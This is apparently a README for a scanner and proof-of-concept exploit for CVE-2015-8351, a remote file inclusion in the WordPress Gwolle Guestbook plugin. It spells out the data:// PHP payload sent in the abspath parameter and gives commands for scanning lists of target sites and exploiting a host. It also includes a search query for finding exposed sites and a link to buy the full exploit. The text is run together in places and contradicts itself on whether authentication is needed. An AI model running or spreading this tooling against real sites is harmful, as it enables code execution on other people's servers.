
Scanner and exploit POC for CVE-2015-8351, a remote file inclusion in the WordPress Gwolle Guestbook plugin (<=1.5.3) via the captcha ajax abspath parameter.
WordPress Gwolle Guestbook plugin <= 1.5.3 - Remote File Inclusion (abspath parameter of the captcha ajax endpoint)
| field | value |
|---|---|
| CVE | CVE-2015-8351 |
| severity | critical |
| CVSS | 9 (template CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, NVD CWE-94) |
| fixed in | Gwolle Guestbook 1.5.4 (2015-10-16), captcha handler moved to a wp_ajax callback in frontend/captcha-ajax.php |
| class | remote file inclusion / code injection (CWE-94) via the abspath GET parameter of /wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5THr
Gwolle Guestbook plugin before 1.5.4 for WordPress contains a remote
file inclusion caused by allow_url_include being enabled, letting
remote authenticated users execute arbitrary PHP code via URL in
abspath parameter, exploit requires user authentication. The template
is a two-request flow (flow: http(1) && http(2), max-request: 2):
a version pre-match on the plugin readme plus a data:// wrapper
include on the standalone captcha endpoint. NVD/template data: EPSS
0.49619 (percentile 0.98916).
The vulnerable file ships at
/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php
and is a bare PHP script that reads the request directly:
$gwolle_gb_abspath = ( isset( $_GET['abspath'] ) ? urldecode( $_GET['abspath'] ) : false );require( $gwolle_gb_abspath . 'wp-load.php' );Because the raw $_GET['abspath'] value is handed to require()
without filtering, an attacker controls the included resource. With
allow_url_include=On both data://text/plain,<php> wrappers and
remote http(s):// URLs are executed by the include engine, which is
the arbitrary-code-execution primitive the template matches on.
The template issues:
GET /wp-content/plugins/gwolle-gb/readme.txt; the
internal DSL pre-matcher requires status_code == 200,
compare_versions(version, '<= 1.5.3') and contains(body, 'Gwolle Guestbook'), with the version pulled out by the regex extractor
Stable tag: ([0-9.]+) (group 1).GET /wp-content/plugins/gwolle-gb/frontend/captcha/ ajaxresponse.php?abspath=data%3A%2F%2Ftext%2Fplain%2C%3C%3Fphp%20 echo%20md5%28%27{{marker}}%27%29%3B%20exit%3B%20%3F%3E; final
matchers (matchers-condition: and): status_code == 200 and
contains(body, md5(marker)).Version 1.5.4 drops the standalone ajaxresponse.php altogether and
registers gwolle_gb_captcha_ajax_callback() on wp_ajax_* with a
check_ajax_referer nonce, so no unfiltered require() remains.
max-request: 2; no other endpoints are touched.GET /wp-content/plugins/gwolle-gb/readme.txt; verdict
requires status 200, the case-sensitive word Gwolle Guestbook
(template DSL contains) and a Stable tag: value <= 1.5.3
(numeric tuple compare, mirrors compare_versions).GET the captcha endpoint with the urlencoded
data://text/plain,<?php echo md5('gwolle-gb-8351'); exit; ?>
payload in abspath; the answer must be HTTP 200 and contain the
full 32-char md5 c39e743e1aa845bc71e044e4569500a0.check(url) returns (True, details) only when the pre-match and
the md5 match both hold; details keeps the per-step flags
(word_ok, version_ok, pre_ok, md5_ok), the stable tag, the
expected digest, a 200-char readme snippet and the extractor string
gwolle-gb rfi: readme=S tag=V pre=B probe=S md5=B.token is computed over the JSON result so a merely
reflected page is distinguishable from a real included answer.urls.txt are auto-prefixed with http://.# scanner (GitHub side): streamed CSV + optional JSON sidecar
python scanner/CVE-2015-8351/scanner.py urls.txt 8 CVE-2015-8351.csv --json CVE-2015-8351.json
# exploit (satoshidisk side): result dict + optional CSV/JSON dumps
python exploit/CVE-2015-8351/exploit.py http://wp-host --csv CVE-2015-8351.csv --json CVE-2015-8351.json --verbose
urls.txt is a plain file, one target per line, # for comments.
Lines may omit the scheme (wp-host:80 works, http:// is
prepended). Both requests hit the same WordPress host and port.
RCE POC SUITE
scanner : CVE-2015-8351 v1.0.0
threads : 4 | csv: s.csv | json: s.json
RCE POC SUITE
[2026-12-03 14:50:32] loaded 1 target(s) from urls8351.txt
[2026-12-03 14:50:32] [1/1] http://127.0.0.1:8099 -> VULNERABLE
[2026-12-03 14:50:32] json sidecar saved: s.json
[2026-12-03 14:50:32] summary: total=1 vulnerable=1 not-vuln=0 errors=0
[2026-12-03 14:50:32] timing : avg=7ms max=7ms wall=0.01s
[2026-12-03 14:50:32] report saved: s.csv
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | md5 proof-of-match (12 chars) |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2015-8351/exploit.py - two-stage POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored (or no targets loaded) |
The POC returns 0 when its token verification passes and 2 on
verification failed.
http.html:"/wp-content/plugins/gwolle-gb/"